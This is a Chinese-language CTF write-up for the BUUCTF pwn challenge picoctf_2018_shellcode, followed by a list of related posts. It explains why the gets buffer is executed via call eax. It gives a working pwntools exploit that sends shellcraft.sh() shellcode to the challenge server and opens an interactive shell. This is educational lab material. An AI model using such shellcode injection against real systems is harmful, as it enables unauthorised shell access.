[BUUCTF-pwn]——picoctf_2018_shellcode

  • 题目地址:https://buuoj.cn/challenges#picoctf_2018_shellcode

论学好汇编的重要性。在这道题得到了体现。

第一次面向汇编, 说实话看的挺慢的。
话不多说
直接上
checksec看下

IDA中没法发反汇编,只能面向汇编编程。无法反汇编是call eax的问题,但是这个指令应该没有错,只能说这个时间eax存储着一个函数地址。也就是[ebp+var_A0]偏移处的函数。

我们可以发现这个偏移也是vuln函数的参数。在vuln函数内,我们发现gets函数写入的位置也是这里(ebp+8,32位就是参数的位置)。

所以也就是我们直接写入shellcode,当执行call eax时就会自动执行。
当然这个只有main函数不可以反汇编其他还是可以的,你们也可以结合参考一下

exploit

from pwn import *
p = remote("node3.buuoj.cn",27027)
shellcode = asm(shellcraft.sh())
p.sendlineafter('Enter a string!\n',shellcode)
p.interactive()

[BUUCTF-pwn]——picoctf_2018_shellcode相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. 第一天写,希望能坚持下去。
  2. 求表达式1-1/2+1/3-1/4+1/5-1/6+1/7-...+1/n的值
  3. android 手机投影演示 ——vysor操作手册
  4. Android Binder总结
  5. python观察日志(part1)--字典反向查找
  6. Go-项目结构和代码组织
  7. ASP.NET企业开发框架IsLine FrameWork系列之十五--框架配置信息大全(下)
  8. Scaling For iPad mini
  9. eclipse没有server选项怎么解决
  10. 深入理解SYN***.+防范思想及ROS设置
  11. GAN:两者分布不重合JS散度为log2的数学证明
  12. 计算机汉字录入及信息表示,2010年青岛市初中8年级信息技术会考考试知识点说明...
  13. 微信小程序的封装和登录
  14. 用ipv6搭建文件服务器,ipv6服务器搭建
  15. 【论文解读】Sort、Deep-Sort多目标跟踪算法
  16. 西方哲学史人物学说时间线
  17. laravel5.5.50之权限(laravel-permissions)的使用
  18. python 频数分布,频率分布
  19. linux 解压zip大文件(解决乱码问题)
  20. Java程序员跳槽涨薪面试心得

热门文章

  1. 718. Maximum Length of Repeated Subarray 最长重复子数组
  2. 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言—— 1051:分段函数
  3. 深度学习——05、深度学习框架Caffe
  4. Go语言集合(Map)
  5. 【工业控制】OmniCal软件安装和使用详解
  6. 【工业控制】激光跟踪仪概述
  7. 【Linux】一步一步学Linux——skill命令(143)
  8. python读取nc文件并转换成csv_Python提取netCDF数据并转换为csv文件
  9. c语言字符串替换有大小写,(C语言)字符串大小写无关查找替换
  10. Linux下串口编程基础